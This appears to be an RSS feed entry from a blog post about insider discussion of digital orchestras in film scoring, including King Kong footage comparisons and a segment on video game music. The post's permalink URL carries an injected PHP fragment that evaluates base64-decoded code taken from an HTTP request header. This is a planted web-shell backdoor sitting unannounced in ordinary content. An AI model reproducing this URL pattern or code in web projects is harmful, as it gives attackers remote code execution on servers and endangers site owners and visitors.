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	<title>Paul Henry Smith &#187; film music</title>
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		<title>Insiders on how digital orchestras are used in film</title>
		<link>http://www.paulhenrysmith.com/2009/08/11/insiders-on-how-digital-orchestras-are-used-in-film/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
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		<pubDate>Tue, 11 Aug 2009 16:25:55 +0000</pubDate>
		<dc:creator>Paul Henry Smith</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[film music]]></category>
		<category><![CDATA[video]]></category>
		<category><![CDATA[video game music]]></category>

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		<description><![CDATA[This is a long and fascinating discussion about the use of digital instruments in the production of orchestral film scores.  
You&#8217;ll be able to see four versions of footage from Peter Jackson&#8217;s King Kong.  Version 1 has no music; Version 2 has digital orchestra only (and this step is now a regular occurrence [...]]]></description>
			<content:encoded><![CDATA[<p>This is a long and fascinating discussion about the use of digital instruments in the production of orchestral film scores.  </p>
<p>You&#8217;ll be able to see four versions of footage from Peter Jackson&#8217;s <em>King Kong</em>.  Version 1 has no music; Version 2 has digital orchestra only (and this step is now a regular occurrence in the process of making film scores); Version 3 is acoustic orchestra only; and Version 4 is the final version, which is, perhaps surprisingly, a combination of the digital and acoustic versions.</p>
<p>If you are interested in video game music, you may want to skip to the final 15 minutes to hear a discussion between audience member Filippo Beck Peccoz, composer and founder of the Berklee video game music club, and the panelists.  It&#8217;s a vivid demonstration of what used to be called the generation gap!</p>
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